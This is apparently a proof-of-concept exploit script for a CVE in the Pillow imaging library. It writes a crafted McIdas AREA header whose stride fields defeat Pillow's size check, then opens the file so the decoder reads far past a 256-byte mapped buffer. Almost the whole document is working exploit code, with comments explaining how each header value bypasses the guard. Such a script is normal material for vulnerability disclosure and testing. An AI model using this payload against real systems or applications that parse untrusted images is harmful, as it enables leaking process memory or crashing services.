CVE-2026-54058: Pillow Out-of-Bounds Read via Undersized McIdas AREA Row Stride

import struct
from PIL import Image

# McIdas AREA file layout: 256-byte header of 64 big-endian int32s (words 1-64).
# Word indices below are 1-based (w[1] = first int32).
#
# Exploit values:
#   w[1]  = 0            (must be 0 for _accept to pass; the real prefix check is the
#                         first 8 bytes == b'\x00\x00\x00\x00\x00\x00\x00\x04')
#   w[2]  = 4            (second word must be 4)
#   w[9]  = 1            ysize  = 1 row
#   w[10] = 200000       xsize  = 200 000 pixels  (real bytes read per row)
#   w[11] = 1            bytes/pixel => mode "L", pixelsize=1, in _MAPMODES
#   w[14] = 0            => stride term w[10]*w[11]*w[14] = 0
#   w[15] = 1            => stride = w[15] + 0 = 1  (far below linesize=200000)
#   w[34] = 0            => tile offset = w[34]+w[15] = 1
#
# stride=1 satisfies: offset+ysize*stride = 1+1*1 = 2 <= 256 (file length) -> passes guard.
# But the raw "L" encoder then reads xsize=200000 bytes from im->image[0],
# which starts at mmap+1 inside a 256-byte file -> OOB read.

words = [0] * 65           # 1-indexed; words[0] unused
words[2] = 4               # _accept: w[2] must equal 4
words[9] = 1               # ysize
words[10] = 200000         # xsize
words[11] = 1              # bytes per pixel (mode L)
words[14] = 0              # multiplier -> kills stride padding
words[15] = 1              # base stride (sets stride=1 and offset=1)
words[34] = 0              # additional offset

# Pack words[1..64] as big-endian signed int32; word[0] is padding
header = struct.pack("!64i", *words[1:65])
assert len(header) == 256

with open("/tmp/poc.area", "wb") as f:
    f.write(header)        # 256-byte header; no pixel data needed

# Trigger: open from a path so Pillow takes the mmap branch
img = Image.open("/tmp/poc.area")
data = img.tobytes()       # OOB read happens here -> leaked memory or SIGBUS